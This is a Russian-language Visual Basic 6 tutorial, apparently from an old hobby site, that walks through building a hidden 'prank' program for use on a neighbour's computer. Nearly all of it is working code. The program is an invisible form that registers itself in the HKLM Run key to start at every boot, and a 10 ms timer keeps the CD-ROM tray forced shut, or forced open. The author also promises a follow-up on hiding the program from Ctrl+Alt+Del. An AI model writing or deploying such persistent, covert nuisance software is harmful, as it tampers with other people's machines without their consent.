Закрывалка
сидюка
Знаешь...Я тут подумал и решил писать статьи западло-прикольного
характера :) Эта статья будет нумером один в моей коллекции.
Сегодняшний придел доведёт своим простейшим коварством твоего соседа до, как
говорится, ручки (ты заметил, что каждый раз, когда я хочу написать прикол, я
всегда использую в качестве мишени своего соседа :)). Да именно простейшего, т.к.
в этом примере я даже не использую никаких циклов! Однако это громко сказано.
Всё-таки циклические процессы происходить будут. Исполнять эти процессы будет
всеми любимый таймер...
Открой
свой VB и создай новый проект (Standart EXE). Сразу же добавь в проект новый
стандартный модуль (BAS). В этом модуле бутут объявлены функции для работы с
реестром, а так же функции, необходимые для закрытия CD-ROM'a. Именно закрытия,
т.к. наша прога должна не позволить соседу открыть сидюк. Ты конечно же можешь
сделать так, что бы наоборот, сидюк нельзя было закрыть, попозже
Итак, что бы не возврящатся к этому потом, размести на форме таймер и назови
его cd_closer. Всё, больше создание интерфейса затрагивать не будем.
Теперь, открой код
твоего
модуля
и
в
него
впиши
следующее:
Option Explicit
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias
"RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As
Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias
"RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As
Long) As Long
'Константы
Const HKEY_LOCAL_MACHINE = &H80000002
Const KEY_ALL_ACCESS = &H3F
Const REG_SZ As Long = 1
'Для сидюка:
Public Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" _
(ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Что
такое Option Explicit, ты должен знать
из
моего
урока, посвящённого
пременным (первая
часть), а
вот
дальше
идут
объявления
для
работы
с
реестром...Но
оних
в
другой
раз (а
то
времени
мало... Да
и не втему как-то...), а пока просто впиши это в модуль. Так же, как видно,
после пояснения гласящего "для сидюка:" идут необходимые объявления
для открытия/закрытия CD-ROM'а.
Всё, про модуль можно забыть, перейди к товей форме. Создай
процедуру-обработчик загрузки формы (просто щёлкни на ней дважды) и впиши в неё
следующее:
Private
Sub Form_Load()
Dim Result As Long
Dim Retval As Long
Dim sPath As String
' Определяем путь к программе
If Right(App.Path, 1) = "\" Then
sPath = App.Path & App.EXEName & ".exe"
Else
sPath = App.Path & "\" & App.EXEName & ".exe"
End If
' Манипулятор ключа
Retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE
"Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS,
Result)
' Записываем в автозагрузку
RegSetValueEx Result, App.Title, 0, REG_SZ, ByVal sPath, Len(sPath)
RegCloseKey Result ' Закрытие ключа
End Sub
Вообщем
половину должно быть понятно из объяснений (поворяю, я скоро напишу статью, в
которой мы подробно рассмотрим работу с реестром средствами API). Таким
образом, при первом запуске эта прога становится сущим геморроем :) Она будит
появляться при каждой загрузке винды до тех пор, пока юзверь (он же сосед) не
залезет в реестр и не вышвырнет эту прогу оттуда (есть и другие методы,
например, через программу настройки системы, но, как правило, про эти действия
просто забывают)
Теперь только осталось создать (я имею в виду писанину) обработчик события
таймера. Он выглядит так:
Call mciSendString("Set CDAudio Door Closed Wait", 0&, 0&,
0&)
Писать
больше не надо, однако надо ещё кое-чё подправить
Теперь,
когда основная часть создания этой заподлянки пройдена, необходимо
подредактировать некоторые свойства таймера и формы. Ну, во-первых, интервал
(interval) таймера установи равным 10 (иначе ничего работать не
будет!), во-вторых, необходимо сделать форму невидимой, поэтому установи
свойство Visible в значение False.
Всё! Прстейшая заподлянка готова! Ну, должен признать, у этой программы один
недостаток - её можно вытащить с помощью этого чёртового сочетания клавиш -
CTRL+ALT+DEL. Как от этого избавится, я напишу в другой раз...
Ну а если ты хочешь, чтобы сидюк всё время
открывался, то впиши в обработчик события таймера следующее:
Call
mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&)
Да
запросто...(к сожалению :)) Ну, как я уже сказал, эту прогу легко выбить
сочетанием специальных клавиш (Ctrl+Alt+Del), одноако, при загрузке она снова
возобновит свои козни (при этом загадочно будет мигать светодиод, являющийся
индикатором работы винта :)) Поэтому, так просто, как это на первый взгляд
кажется (ЛАМЕРУ-У-У-У :)), теюе придётся либо
A) Залезть в сведения о системе, там
нажать Сервис->Программа настройки системы и найти там вкладку "Автозагрузка"
и в появившимся списке снять галочку окло имени нашей проги, либо
B) Залезть в редактор рееста по адресу
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\, найти имя
своей проги и удалить этот ключ из реестра.